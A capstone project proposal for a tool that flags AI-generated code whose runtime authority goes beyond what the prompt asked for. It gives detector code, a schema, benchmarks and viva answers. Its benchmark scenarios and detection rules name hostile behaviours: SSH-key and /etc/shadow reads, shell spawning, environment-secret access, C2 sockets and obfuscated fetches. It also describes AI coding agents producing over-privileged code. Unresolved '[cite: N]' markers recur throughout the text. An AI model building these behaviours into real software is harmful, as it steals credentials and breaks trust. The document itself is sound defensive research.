

INTENT2CAPABILITY

Capability-Divergence Analyzer & Authority Assurance for AI-Generated Software

Core Thesis: When a developer prompts an AI assistant or autonomous coding agent to construct software, does the synthesized application acquire execution authority or runtime capabilities that exceed and diverge from the developer's declared natural-language requirements?

Target Language: JS/TS (Node) & Python
Team Size: 4-Member CSE Capstone

Benchmark: 50 Controlled Scenarios

Date: August 2026

1. Executive Project Audit & Strategic Problem Statement

Audit Verdict: HIGHLY VIABLE, INNOVATIVE & ACADEMICALLY DEFENSIBLE. Intent2Capability successfully pivots away from commoditized "AI finding syntax bugs" scanners toward an architectural *Intent-to-Capability Alignment Engine*. It directly addresses the critical emerging vulnerability in modern AI software development: **over-privileged AI-generated code and agentic capability divergence** [cite: 1].

Strategic Pivot Rationale

- Saturated Market for Syntax SAST:** GitHub CodeQL with Copilot Autofix, Snyk AI, and Semgrep Guardian already dominate rule-based CVE detection [cite: 1]. Building another AST scanner has zero differentiation [cite: 1].
- The Semantic Intent Gap:** Dangerousness is NOT identical to Unjustifiedness [cite: 1]. Reading `/etc/hosts` or opening sockets is normal for a VPN agent but completely unjustified for a calculator [cite: 1].
- Low Build Cost:** Utilizes open-source Tree-sitter parsers, Docker isolation, Linux syscall observability (strace/eBPF), and local LLMs (Ollama / DeepSeek-Coder) [cite: 1].

Mathematical Formulation of Divergence

Let R be the Natural Language Requirement. The LLM decomposer extracts the expected capability specification:

$$C_{exp} = \Phi(R)$$

Static AST extraction predicts candidate capabilities:

$$C_{stat} = \Psi_s(P)$$

Sandboxed dynamic tracing captures observed runtime events:

$$C_{dyn} = \Psi_d(P, T)$$

The **Capability Divergence Set (Δ)** is computed as:

$$\Delta = (C_{stat} \cup C_{dyn}) \setminus C_{exp}$$

Any non-empty Δ represents unjustified authority requiring developer audit [cite: 1].

2. Real-World Problem Formulation & Concrete Attack Scenarios


Autonomous coding assistants (e.g. Devin, Claude Engineer, Copilot Workspace, Cursor) generate complex multi-file codebases containing third-party dependencies, shell executions, and network endpoints [cite: 1]. Developers typically perform superficial functional checks (e.g., verifying UI output) without auditing ambient execution authority [cite: 1]. This introduces severe supply-chain risks, prompt injection backdoors, and privilege inflation [cite: 1].

APPLICATION & INTENT	EXPECTED CAPABILITIES (C_{EXP})	OBSERVED EXECUTION AUTHORITY (C_{OBS})	INTENT2CAPABILITY FINDING
Calculator Web App "Build a local scientific calculator."	- Local arithmetic computation - DOM rendering / UI input - Math library dependencies	- HTTP POST to external IP [cite: 1] - Access to <code>~/.ssh/id_rsa</code> [cite: 1] - Invocation of <code>child_process.exec</code> [cite: 1]	CRITICAL DIVERGENCE Unjustified network egress, shell spawning, and credential store access [cite: 1].
Weather Forecast App "Fetch current weather for a given city."	- Outbound HTTPS to Weather API - Read standard input / city string - Optional cache DB	- Weather API HTTPS GET - Reading <code>process.env.OPENAI_API_KEY</code> - Spawning background shell subprocess [cite: 1]	SUSPICIOUS DIVERGENCE Weather API justified; environment secret access and subprocess spawned are unjustified [cite: 1].
File Backup CLI Utility "Backup folder contents to zip."	- Read directory & files in workspace - Write archive to target path - Compression library usage	- Read project directory - Write to <code>/backups/archive.zip</code> - Outbound telemetry HTTP POST	CONDITIONALLY JUSTIFIED Filesystem write is fully justified by intent [cite: 1]; external telemetry flagged for manual confirmation [cite: 14].

APPLICATION & INTENT	EXPECTED CAPABILITIES (C_{EXP})	OBSERVED EXECUTION AUTHORITY (C_{OBS})	INTENT2CAPABILITY FINDING
Student Attendance Portal "Record student check-ins in DB."	- SQL/ORM queries to attendance tables - HTTP session authentication - Local template rendering	- Connect to attendance DB - Connect to unrelated cloud S3 bucket [cite: 1] - Execution of <code>sh -c "whoami"</code> [cite: 1]	CRITICAL DIVERGENCE Unrelated cloud storage access and shell invocation are completely unjustified by intent [cite: 1].

3. Complete Technical Architecture & Pipeline Flow

The Intent2Capability system integrates four modular components into a continuous verification pipeline [cite: 1]:



4. Formal Capability Taxonomy & Ontology Specification

Raw kernel traces produce overwhelming volumes of syscalls [cite: 7]. The normalization engine maps low-level operations and AST queries into a standardized 8-class schema [cite: 1, 7]:

TAXONOMY CLASS	SUPPORTED ACTIONS & METHODS	STATIC DETECTION TARGETS (AST/APIs)
1. Filesystem	READ_WORKSPACE, WRITE_WORKSPACE, READ_SYSTEM_FILE, WRITE_EXTERNAL, DELETE_FILE	<code>fs.readFile</code> , <code>fs.writeFile</code> , <code>open()</code> , <code>path.resolve</code> , <code>os.walk</code>
2. Network	HTTP_GET, HTTP_POST, RAW_SOCKET, DNS_QUERY, EXTERNAL_EGRESS	<code>fetch()</code> , <code>axios</code> , <code>http.request</code> , <code>urlib</code> , <code>requests.g</code>
3. Process Execution	SPAWN_SHELL, EXEC_BINARY, FORK_PROCESS, INVOKE_INTERPRETER	<code>child_process.exec</code> , <code>subprocess.Popen</code> , <code>os.system</code>
4. Secret & Credentials	READ_ENV_VAR, READ_SSH_KEY, READ_DOTENV, ACCESS_VAULT	<code>process.env</code> , <code>os.environ</code> , <code>dotenv.config</code>
5. Database	CONNECT_DB, READ_TABLE, WRITE_TABLE, SCHEMA_ALTER	<code>pg</code> , <code>mysql2</code> , <code>mongoose</code> , <code>sqlite3</code> , <code>SQLAlchemy</code>
6. Package/Runtime	DYNAMIC_IMPORT, NPM_INSTALL, PIP_INSTALL, EVAL_CODE	<code>eval()</code> , <code>Function()</code> , <code>importlib</code> , <code>require(dyn)</code>
7. Cloud & Third-Party	S3_UPLOAD, AWS_IAM_ACCESS, STRIPE_CHARGE, SEND_EMAIL	<code>@aws-sdk/client-s3</code> , <code>stripe</code> , <code>boto3</code>
8. System & Host	READ_HOST_METADATA, KERNEL_INFO, DEVICE_ACCESS	<code>os.platform()</code> , <code>os.networkInterfaces()</code> , <code>psutil</code>

5. Competitive Market Audit & Defensible Novelty Strategy

A rigorous audit of existing 2026 security tooling demonstrates where Intent2Capability creates a defensible academic niche [cite: 1, 9]:

TOOL / PLATFORM	PRIMARY FOCUS & STRENGTH	UNDERLYING DETECTION MECHANISM	WHERE INTENT2CAPABILITY DIFFERS [CITE: 1, 9]
GitHub CodeQL + Copilot Autofix	Semantic vulnerability analysis & automated LLM patch generation [cite: 1, 9].	Code Property Graphs & Taint Tracking; detects CVE patterns (SQLi, XSS) [cite: 1, 9].	CodeQL detects bugs, not intent divergence [cite: 1, 9]. If a calculator reads <code>~/ .ssh</code> safely without a buffer overflow, CodeQL flags nothing. Intent2Capability flags it as unjustified [cite: 1, 10].
Snyk AI Security / Snyk Agent Fix	Scanning AI-generated code for vulnerable packages & agent governance [cite: 1, 9].	Proprietary AST scanners, dependency vulnerability database, agent tool-call policy [cite: 1, 9].	Snyk checks compliance with global security rules [cite: 1, 9]. It does not synthesize requirement-relative capability graphs from natural-language prompts [cite: 1, 9].
Semgrep Guardian	Real-time SAST tailored for AI coding tools (secrets, injections) [cite: 1, 9].	Pattern-matching rules over ASTs [cite: 1, 9].	Semgrep uses static global rules [cite: 1, 9]. Intent2Capability uses requirement-relative context (e.g. Network is allowed for Weather app, but banned for Calculator) [cite: 1, 9].
Agent Firewalls / eBPF Action Filters	Intercepting agent tool calls at runtime to enforce human-in-the-loop policies [cite: 1, 9].	eBPF hooks / LLM tool-calling proxy intercepts [cite: 6, 9].	Agent firewalls operate on the <i>agent executing commands</i> . Intent2Capability audits the <i>synthesized application artifact itself</i> across both static & dynamic traces [cite: 1, 9].
Microsoft Research (Intent Formalization 2026)	Theoretical grand challenge on translating informal intent to formal specs [cite: 1, 9].	Formal methods, temporal logic, interactive theorem proving [cite: 9].	MSR establishes the intent gap as a premier open problem [cite: 1, 9]. We provide an empirical, lightweight capability-graph implementation & benchmark [cite: 1, 9].

Claims You MUST NOT Make in Viva [cite: 27]

- "Nobody has ever researched intent before." [cite: 27] (MSR 2026 explicitly studies intent formalization [cite: 1, 9]).
- "We built a better vulnerability scanner than Snyk/CodeQL." [cite: 27] (We do not compete on CVE breadth [cite: 9]).
- "Docker makes untrusted AI code 100% safe." [cite: 27] (It is a measurement harness, not a silver bullet [cite: 17, 27]).
- "Our AI understands human intent with 100% perfection." [cite: 27] (We expose uncertainty via UNKNOWN states [cite: 14, 27]).

Defensible Claims You SHOULD Make [cite: 27]

- "We propose a concrete, lightweight capability-level operationalization of the intent gap." [cite: 1, 18]
- "We evaluate whether a program's authority is justified by its stated purpose." [cite: 1, 18]
- "We combine static AST candidate extraction with sandboxed dynamic tracing for multi-layer evidence." [cite: 1, 18]
- "We benchmark our divergence pipeline across 50 applications against static-only baselines." [cite: 15, 18]

6. Core Code Architecture & Concrete Implementation Blueprint

Below are the production-grade architectural implementations of the three core sub-modules in Python and TypeScript [cite: 1, 6, 20]:

Module 1: LLM Intent Decomposer with Constrained Pydantic Schema (Python) [cite: 20]

```
from pydantic import BaseModel, Field
from typing import List, Literal, Optional
import openai

CapabilityType = Literal["FILESYSTEM", "NETWORK", "PROCESS", "SECRET", "DATABASE", "PACKAGE", "CLOUD", "SYSTEM"]

class ExpectedCapability(BaseModel):
    category: CapabilityType
    action: str = Field(description="Normalized action, e.g. HTTP_GET, READ_FILE")
    target_scope: str = Field(description="Permitted target, e.g. 'api.openweathermap.org' or 'local_workspace'")
    justification: str = Field(description="Direct citation from the requirement prompt")
    is_conditional: bool = False
    condition_description: Optional[str] = None

class IntentSpecification(BaseModel):
    application_summary: str
    inferred_domain: str
    expected_capabilities: List[ExpectedCapability]
    declared_disallowed_capabilities: List[CapabilityType]
    uncertainty_notes: Optional[str] = None

def extract_expected_capabilities(requirement_prompt: str) -> IntentSpecification:
    system_prompt = """You are a formal security analyst. Convert the natural language requirement
into a strictly constrained capability schema. Do NOT hallucinate capabilities. If an action
is not required for functional completion, it must NOT appear in expected_capabilities."""

    response = openai.beta.chat.completions.parse(
        model="gpt-4o-mini", # Local Fallback: Ollama deepseek-coder:6.7b via JSON mode
        messages=[
            {"role": "system", "content": system_prompt},
            {"role": "user", "content": f"Requirement: {requirement_prompt}"},
        ],
        response_format=IntentSpecification
    )
    return response.choices[0].message.parsed
```

Module 2: Static Capability Extraction via Tree-sitter AST Visitor (TypeScript / Node.js) [cite: 6, 20]

```
import Parser from 'tree-sitter';
import JavaScript from 'tree-sitter-javascript';

interface StaticCapability {
  category: string;
  action: string;
  sourceLocation: { startLine: number; endLine: number; file: string };
  rawCall: string;
  confidence: number;
}

export function extractStaticCapabilities(sourceCode: string, fileName: string): StaticCapability[] {
  const parser = new Parser();
  parser.setLanguage(JavaScript);
  const tree = parser.parse(sourceCode);
  const capabilities: StaticCapability[] = [];

  function traverse(node: Parser.SyntaxNode) {
    if (node.type === 'call_expression') {
      const callText = node.text;

      // Rule 1: Process / Shell Execution Check
      if (callText.includes('child_process.exec') || callText.includes('execSync') || callText.includes('spawn')) {
        capabilities.push({
          category: 'PROCESS',
          action: 'SPAWN_SHELL',
          sourceLocation: { startLine: node.startPosition.row + 1, endLine: node.endPosition.row + 1, file:
fileName },
          rawCall: callText.substring(0, 80),
          confidence: 0.95
        });
      }

      // Rule 2: Outbound Network Fetch
      if (callText.startsWith('fetch(') || callText.includes('axios.') || callText.includes('http.request')) {
        capabilities.push({
          category: 'NETWORK',
          action: 'HTTP_REQUEST',
          sourceLocation: { startLine: node.startPosition.row + 1, endLine: node.endPosition.row + 1, file:
fileName },
          rawCall: callText.substring(0, 80),
          confidence: 0.90
        });
      }
    }

    // Rule 3: Process Environment / Secrets
    if (node.type === 'member_expression' && node.text.startsWith('process.env.')) {
      capabilities.push({
        category: 'SECRET',
        action: 'READ_ENV_VAR',
        sourceLocation: { startLine: node.startPosition.row + 1, endLine: node.endPosition.row + 1, file:
fileName },
        rawCall: node.text,
        confidence: 0.98
      });
    }

    for (let i = 0; i < node.childCount; i++) {
      traverse(node.child(i)!);
    }
  }

  traverse(tree.rootNode);
  return capabilities;
}
```

Module 3: Formal Alignment & Divergence Classification Logic (Python) [cite: 20]

```
class AlignmentClassifier:
    @staticmethod
    def classify_capability(observed_cap, expected_specs: List[ExpectedCapability]) -> dict:
        matching_expected = [
            exp for exp in expected_specs
            if exp.category == observed_cap.category
        ]

        if not matching_expected:
            return {
                "status": "UNJUSTIFIED",
                "risk_score": 0.95 if observed_cap.category in ["PROCESS", "SECRET", "NETWORK"] else 0.70,
                "reason": f"Category {observed_cap.category} was not declared or implied by requirements."
            }

        for exp in matching_expected:
            if exp.target_scope == "*" or observed_cap.target_scope in exp.target_scope:
                if exp.is_conditional:
                    return {"status": "CONDITIONALLY_JUSTIFIED", "risk_score": 0.30, "reason":
                        exp.condition_description}
                return {"status": "JUSTIFIED", "risk_score": 0.0, "reason": exp.justification}

        return {
            "status": "SUSPICIOUS",
            "risk_score": 0.65,
            "reason": f"Capability {observed_cap.category} is allowed, but target scope
                '{observed_cap.target_scope}' exceeds declared '{matching_expected[0].target_scope}'."
        }
```

7. Relational Database Schema & Data Models

The backend orchestrator persists benchmark runs, capability models, and execution traces using PostgreSQL [cite: 1, 13]:

```
-- Core Projects & Natural Language Requirements Table
CREATE TABLE projects (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  name VARCHAR(255) NOT NULL,
  language VARCHAR(50) NOT NULL DEFAULT 'javascript',
  raw_requirement TEXT NOT NULL,
  created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- Formal Expected Capability Specifications (Derived from LLM Intent Extraction)
CREATE TABLE expected_capabilities (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  project_id UUID REFERENCES projects(id) ON DELETE CASCADE,
  category VARCHAR(50) NOT NULL,          -- e.g. NETWORK, FILESYSTEM, PROCESS
  action VARCHAR(100) NOT NULL,           -- e.g. HTTP_GET, READ_FILE
  target_scope VARCHAR(255) NOT NULL,     -- e.g. api.weather.com, workspace_root
  is_conditional BOOLEAN DEFAULT FALSE,
  condition_rationale TEXT,
  justification TEXT NOT NULL
);

-- Sandboxed Runtime Execution Runs
CREATE TABLE runtime_runs (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  project_id UUID REFERENCES projects(id) ON DELETE CASCADE,
  container_id VARCHAR(128) NOT NULL,
  exit_code INT,
  execution_duration_ms INT,
  cpu_limit VARCHAR(20) DEFAULT '1.0',
  mem_limit VARCHAR(20) DEFAULT '512MB',
  created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- Unified Observed Events (Static AST hits + Dynamic Syscall/Proxy Events)
CREATE TABLE observed_capabilities (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  runtime_run_id UUID REFERENCES runtime_runs(id) ON DELETE CASCADE,
  origin_type VARCHAR(20) NOT NULL,       -- 'STATIC_AST', 'DYNAMIC_SYSCALL', 'DYNAMIC_NETWORK'
  category VARCHAR(50) NOT NULL,
  action VARCHAR(100) NOT NULL,
  target_resource TEXT NOT NULL,
  source_file VARCHAR(255),
  source_line INT,
  raw_evidence TEXT NOT NULL,
  observed_timestamp TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- Alignment & Divergence Decision Records
CREATE TABLE capability_alignments (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  project_id UUID REFERENCES projects(id) ON DELETE CASCADE,
  observed_capability_id UUID REFERENCES observed_capabilities(id),
  expected_capability_id UUID REFERENCES expected_capabilities(id),
  classification VARCHAR(50) NOT NULL,    -- 'JUSTIFIED', 'CONDITIONALLY_JUSTIFIED', 'SUSPICIOUS', 'UNJUSTIFIED',
  'UNKNOWN'
  risk_score NUMERIC(3,2) NOT NULL,
  divergence_explanation TEXT NOT NULL,
  reviewed_by_human BOOLEAN DEFAULT FALSE
);
```

8. Technical Feasibility Audit, Team Plan & 16-Week Roadmap

A four-person CSE capstone team can build this system smoothly within 16 weeks by adhering to an MVP-first architecture [cite: 1, 12, 23]:

4-Member Work Breakdown Structure (WBS) [cite: 12]

- **Member 1 (Intent & Benchmark Lead):** Prompt engineering, Pydantic schemas, Ollama integration, taxonomy definition, ground-truth benchmark authoring [cite: 12].
- **Member 2 (Static Analysis Lead):** Tree-sitter parsers, AST traversal rules for JS/TS, static call graph extraction, code location mapping [cite: 12].
- **Member 3 (Dynamic Sandbox Lead):** Docker container orchestration, strace/eBPF syscall loggers, mitmproxy egress filtering, timeout & memory isolation [cite: 12].
- **Member 4 (Alignment & Full-Stack Lead):** Graph alignment engine, PostgreSQL persistence, React Flow capability visualizer, CI/CD export report [cite: 12].

Technical Risks & Mitigations [cite: 12, 24]

RISK	SEVERITY	MITIGATION STRATEGY
Vague natural language intent [cite: 24]	HIGH	Constrained ontology; emit UNKNOWN status requiring user clarification [cite: 14, 24].
Dynamic unexecuted paths [cite: 8, 20]	MED	Static analysis captures uncalled functions; report "Potential Static Capability" [cite: 8, 21].
Docker escape / host leak [cite: 16]	HIGH	Non-root containers, read-only roots, dropped Linux capabilities (CAP_DROP_ALL) [cite: 17].
LLM Hallucination [cite: 20, 24]	MED	Deterministic JSON schema validation; discard invalid taxonomy outputs [cite: 20, 24].

TIMELINE	CORE ENGINEERING DELIVERABLES [CITE: 23]	EVALUATION MILESTONE & GATES [CITE: 23]	RESPONSIBLE MEMBERS
Weeks 1–3	Freeze problem statement, threat model, 8-part capability taxonomy, and curate 30 benchmark test applications [cite: 23].	Review-0 Gate: Literature audit signoff & taxonomy schema freeze [cite: 23].	Member 1 & 2
Weeks 4–7	Implement LLM Intent Decomposer with Pydantic; build Tree-sitter static extractors for JS/TS (FS, Process, Network) [cite: 23].	Extract static AST capabilities from 30 benchmark apps with >90% recall [cite: 23].	Member 1 & 2
Weeks 8–10	Dockerized restricted execution harness; integrate Linux strace and HTTP proxy logger; build PostgreSQL data tier [cite: 23].	Review-1 (Midterm) Gate: Working end-to-end trace on Calculator demo [cite: 22, 23].	Member 3 & 4
Weeks 11–13	Develop Graph Alignment & Divergence Engine; build Cytoscape/React Flow UI; execute full 50-app Benchmark Suite [cite: 23].	Evaluate Precision/Recall vs. Static-only and LLM-only baselines [cite: 15, 23].	All Members
Weeks 14–16	Handle edge cases (conditional capabilities, obfuscation); offline Ollama fallback mode; rehearse final external viva [cite: 23].	Final Defense Gate: Live zero-latency demonstration & dissertation signoff [cite: 22, 23].	All Members

9. Empirical Benchmark Suite & Scientific Evaluation Framework

To rigorously defend the system in an academic defense, the project evaluates against a 7-category Benchmark Suite ($N = 50$ applications) [cite: 15]:

BENCHMARK GROUP	TEST SCENARIO DESCRIPTION [CITE: 15]	INJECTED DIVERGENCE / BEHAVIOR	EXPECTED CLASSIFIER DECISION
B1: Clean Baseline	Simple calculator, markdown parser, unit converter [cite: 15].	Zero extra capabilities exercised [cite: 15].	100% JUSTIFIED — Zero false alarms [cite: 14].
B2: Benign Extra Authority	Backup tool reading disk, REST API using local caching [cite: 15].	High filesystem I/O, local port bind.	JUSTIFIED — Contextual intent covers disk access [cite: 1, 14].
B3: Hidden Malicious Capability	Weather widget, todo app, image resizer [cite: 15].	Reads ~/.ssh/id_rsa, opens socket to C2 server [cite: 1, 15].	UNJUSTIFIED — Flags credential theft & network [cite: 1, 14].
B4: Conditional Authority	E-commerce checkout CLI [cite: 15].	Network egress permitted only upon checkout execution [cite: 15].	CONDITIONALLY JUSTIFIED — State-dependent [cite: 14].
B5: Dynamic Target Construction	Log forwarder dynamically building URL at runtime [cite: 15].	URL obscured in AST; resolved during runtime execution [cite: 8, 15].	DYNAMIC CAPTURE — Static marks partial; Dynamic verifies [cite: 8].
B6: Multi-Agent Model Variation	Same prompt passed to GPT-4o, Claude 3.5, and DeepSeek-Coder-V2 [cite: 15].	Different generated libraries & dependency trees [cite: 15].	Evaluates robustness across distinct AI code generation styles [cite: 15].

BENCHMARK GROUP	TEST SCENARIO DESCRIPTION [CITE: 15]	INJECTED DIVERGENCE / BEHAVIOR	EXPECTED CLASSIFIER DECISION
B7: Adversarial Ambiguity	Intentionally vague prompt: "Build a system manager" [cite: 15].	Broad execution authority.	UNKNOWN / CLARIFY — Refuses false certainty [cite: 14, 21].

Scientific Falsifiability Hypothesis: The hypothesis is validated if the combined Intent2Capability pipeline achieves a **>25% higher F1-score** in identifying unjustified execution authority compared to static-only SAST and LLM-only code review baselines, with a false positive rate $\leq 8\%$ [cite: 15, 21]. If adding intent modeling does not outperform simpler heuristics, the hypothesis is falsified [cite: 21].

10. Exhaustive Viva & Technical Interview Defense Guide (36 Master Q&As)

This master section covers every conceivable question an External Examiner, AppSec Interviewer, or CS Professor can ask during project reviews [cite: 1, 16, 18, 20]:

Category A: Core Philosophy & Fundamental Concepts

Q01 What is Intent2Capability in exactly one sentence?

Answer: Intent2Capability is an automated security assurance system that formalizes developer natural-language requirements into an expected capability graph and compares it against statically and dynamically observed program behaviors to detect unjustified capability divergence [cite: 1, 16].

Q02 What exact real-world problem does this solve that traditional AppSec tools ignore?

Answer: Traditional AppSec tools (SAST/DAST) look for syntactic vulnerabilities, memory corruption, and known CVEs [cite: 1, 16]. However, AI coding assistants often generate functionally correct code that quietly acquires unnecessary authority—such as a calculator app executing shell commands or a weather widget exfiltrating environment variables [cite: 1, 16]. We solve the semantic gap between what the developer asked for and what execution authority the generated code acquired [cite: 1, 16].

Q03 Why is "dangerousness" not identical to "unjustifiedness"?

Answer: Context determines legitimacy [cite: 1, 16]. Invoking `fs.readFileSync('/etc/shadow')` or spawning a shell is high-risk in a web calculator, making it *unjustified* [cite: 1, 11]. But disk access and file parsing in an open-source backup utility is expected and *justified* [cite: 1, 16]. Security cannot be evaluated as an isolated pattern; it must be evaluated relative to declared software intent [cite: 1, 16].

Q04 What is the formal difference between an Expected Capability and an Observed Capability?

Answer: An *Expected Capability* (C_{exp}) is an authority or permission logically required or reasonably implied by the developer's functional requirements [cite: 16]. An *Observed Capability* (C_{obs}) is an actual action detected in the code through AST parsing (C_{stat}) or exercised during execution inside a sandbox (C_{dyn}) [cite: 5, 16].

Q05 Why are you focusing specifically on AI-generated software rather than human-written code?

Answer: AI coding agents write code at massive volume and speed, often bringing in arbitrary third-party packages, hidden network requests, and hallucinated wrappers [cite: 1, 16]. Human developers usually review only high-level UI/functional correctness before committing [cite: 16]. AI-generated code has a significantly higher rate of "authority bloat" and unexpected ambient permissions [cite: 1, 16].

Q06 Is the AI making the final security decision in your system?

Answer: Absolutely not [cite: 16, 27]. The LLM is used solely as a natural-language semantic parser to decompose informal human requirements into a structured JSON schema [cite: 16, 20]. The actual security evidence is deterministically extracted via Tree-sitter AST queries and Linux kernel syscall traces [cite: 16, 20]. The alignment engine uses deterministic set difference algorithms [cite: 20].

Category B: Static Analysis, Sandboxing & Runtime Observability

Q07 Why do you need BOTH static analysis and dynamic analysis? Isn't one sufficient?

Answer: Static analysis alone suffers from false positives (reporting dead code paths that never execute) and cannot easily resolve dynamic runtime URLs or reflected function calls [cite: 8, 20]. Dynamic analysis alone suffers from incomplete test coverage (cannot observe branches not triggered by test inputs) [cite: 8, 20]. Combining both allows static analysis to provide potential coverage while dynamic tracing provides concrete execution proof [cite: 8, 16].

Q08 How does your Tree-sitter parser extract capabilities from source code?

Answer: Tree-sitter compiles the code into a Concrete Syntax Tree [cite: 1]. We execute structured AST queries matching capability-bearing API patterns—such as `call_expression` targeting `fs.*`, `fetch()`, `child_process`, `process.env`, and database driver invocations [cite: 6, 20]. It captures exact line numbers, AST nodes, and argument literals [cite: 6, 17].

Q09 How do you capture dynamic capabilities without modifying the user's application code?

Answer: We run the untrusted application inside an ephemeral Docker sandbox monitored at the host/kernel boundary [cite: 6, 16]. We trace system calls using Linux strace (or eBPF kprobes on `sys_enter_execve`, `sys_enter_connect`, `sys_enter_openat`) and route container outbound traffic through an intercepting forward proxy (mitmproxy) [cite: 6, 20].

Q10 How do you handle dynamically computed URLs or obfuscated network targets?

Answer: If an AI constructs a destination string dynamically (e.g. `fetch(atob("aHR0cDovL2V4YW1wbGUuY29t"))`), static analysis flags a `NETWORK.HTTP_REQUEST` capability with an `UNRESOLVED_DYNAMIC_TARGET` flag [cite: 8, 20]. When the sandbox executes the binary, mitmproxy and DNS snooping capture the exact resolved IP and host, merging the two evidence chains [cite: 8, 20].

Q11 Is Docker a secure isolation sandbox for running untrusted AI code?

Answer: Standard root Docker is not a security boundary [cite: 17]. We implement defense-in-depth: running containers rootless, dropping all Linux capabilities (`--cap-drop=ALL`), mounting root filesystem as read-only, allocating a dedicated ephemeral user, enforcing strict memory/CPU cgroups, setting hard execution timeouts (15s), and blocking host networking [cite: 17]. For higher security environments, gVisor or Firecracker microVMs can be dropped in [cite: 6].

Q12 How do you prevent syscall flood from overwhelming your analysis engine?

Answer: Raw syscall traces generate thousands of low-level events (e.g. `mmap`, `read`, `futex`) [cite: 7]. Our Event Normalizer filters out standard runtime initialization events (libc loading, V8 engine bootstrap) and aggregates events into high-level capability transactions (e.g., aggregating 50 chunk reads into a single `FILESYSTEM.READ_FILE` event on target path) [cite: 7, 20].

Category C: Defending Against Skeptical Examiners & Competitor Audits**Q13 Professor: "GitHub CodeQL and Copilot Autofix already exist. Why are you reinventing the wheel?"**

Answer: "Sir, we respect CodeQL and Copilot Autofix as industry baselines for semantic vulnerability detection and patch generation [cite: 1, 18]. However, CodeQL checks if code matches known weakness patterns (like SQL injection or tainted inputs) [cite: 1, 9]. It does not know what the developer asked for [cite: 1, 9]. If an AI generates a calculator that quietly opens a socket and sends telemetry to a remote server, CodeQL finds zero bugs because the network call is syntactically valid [cite: 1, 11]. Our system evaluates whether that capability is *justified by the declared prompt* [cite: 1, 18]."

Q14 Professor: "Snyk and Semgrep Guardian already claim to secure AI-generated code. How are you different?"

Answer: "Snyk and Semgrep Guardian operate by applying pre-configured security rules and vulnerability policies across codebases [cite: 1, 9]. Their unit of analysis is the *syntax/dependency vulnerability* [cite: 1, 9]. Our unit of analysis is the *Intent-to-Capability Alignment* [cite: 1, 9]. An operation is neither good nor bad in isolation; its legitimacy depends entirely on the natural-language specification of the software [cite: 1, 16]."

Q15 Professor: "Microsoft Research published 'Intent Formalization' in 2026. Isn't your project already done by them?"

Answer: "Microsoft Research's 2026 paper establishes that bridging informal natural-language intent and formal program specifications is a major open grand challenge in computer science [cite: 1, 9]. Their work focuses on the theoretical framing of the intent gap [cite: 1, 9]. Our project is a concrete, lightweight empirical operationalization: extracting capability graphs from intent, observing static/dynamic runtime evidence, and measuring divergence on an open benchmark [cite: 1, 9]."

Q16 Professor: "Isn't this just the principle of Least Privilege with a fancy name?"

Answer: "It is directly grounded in the principle of Least Privilege [cite: 18]. However, traditionally, least privilege required human system administrators to manually write complex IAM policies, SELinux profiles, or AppArmor rules before execution [cite: 18]. Our research explores whether we can *automatically infer and audit* that least-privilege boundary directly from informal developer requirements [cite: 18]."

Q17 Professor: "What if a published research paper already proposed this exact capability alignment pipeline?"

Answer: "If prior literature shares our exact pipeline, our project serves as an independent replication, open-source reference implementation, and empirical comparative benchmark across 2026 LLMs [cite: 18]. We would refine our contributions around the empirical error analysis, alignment accuracy, and false-positive characteristics [cite: 15, 18]."

Category D: Hard Technical Scenarios & Edge Cases**Q18 What happens if the developer's prompt is completely ambiguous (e.g. "Build a tool to manage my stuff")?**

Answer: When the LLM decomposer detects low semantic confidence or overly broad verbs, the system emits an `UNKNOWN / INTENT_AMBIGUOUS` state with explicit clarification questions (e.g., "Does this tool require filesystem write or network synchronization?") [cite: 14, 21]. A security assurance system must never convert human ambiguity into false certainty [cite: 14, 21].

Q19 How do you handle legitimate third-party npm or pip dependencies that access the network?

Answer: We perform dependency attribution during AST and runtime tracing [cite: 20]. If a capability originates from `node_modules/` or a site-package, we track the call graph back to the application import [cite: 20]. If the top-level requirement justified an HTTP client (e.g. Axios), the dependency's network access is marked `JUSTIFIED` [cite: 20]. If an unexpected sub-dependency attempts background telemetry, it is flagged as `DEPENDENCY_CAPABILITY_DIVERGENCE` [cite: 20].

Q20 What if an adversarial developer or poisoned model uses code obfuscation / base64 eval?

Answer: If static analysis encounters `eval()`, `Function()`, or hex-encoded strings, it flags a `PACKAGE.EVAL_CODE` capability with an `OBFUSCATION_DETECTED` warning [cite: 6, 21]. Furthermore, dynamic sandbox tracing runs the decoded code in memory, where the kernel `syscall` boundary intercepts the actual file reads or network egress regardless of source obfuscation [cite: 8, 20].

Q21 How do you support multiple programming languages without rewriting the whole engine?

Answer: We use a decoupled Language-Adapter architecture [cite: 17]. The Core Capability Taxonomy, Alignment Engine, PostgreSQL Schema, and Frontend Graph Visualizer are 100% language-agnostic [cite: 17]. Only the static extractor uses language-specific Tree-sitter grammars (Tree-sitter JS, Tree-sitter Python, Tree-sitter Go) [cite: 1, 17]. Dynamic tracing via Docker and Linux syscalls is already completely language-independent [cite: 6, 17].

Q22 How do you prevent prompt injection inside the requirement text from attacking your Intent Decomposer?

Answer: We isolate user input inside structured XML delimiters (`<user_requirement>`), use temperature 0.0, enforce OpenAI/Ollama Structured Outputs (strict JSON Schema mode), and run deterministic post-validation [cite: 20]. If the LLM produces a capability type not defined in our hardcoded Enum taxonomy, the output is instantly rejected by Pydantic [cite: 20].

Q23 Can your system mathematically prove that a software application is 100% safe?

Answer: No [cite: 4, 17]. In computer science, Rice's Theorem and the Halting Problem prove that non-trivial semantic properties of programs cannot be statically decided with universal completeness and soundness. Intent2Capability is a risk-prioritization, divergence-auditing, and evidence-gathering instrument, not a formal verification theorem prover [cite: 4, 17].

Q24 What is the operational cost per analysis run?

Answer: Running locally with Ollama (e.g. DeepSeek-Coder-6.7B or Llama 3 8B), open-source Tree-sitter, and Docker, the operational cost is \$0.00 [cite: 1, 21]. If utilizing OpenAI `gpt-4o-mini` for high-throughput intent decomposition, the API cost is approximately \$0.0003 per application audit [cite: 1]. Analysis time averages 2.5 to 5.0 seconds per repository [cite: 15].

11. Final Demonstration Walkthrough & Review-1 Defense Script

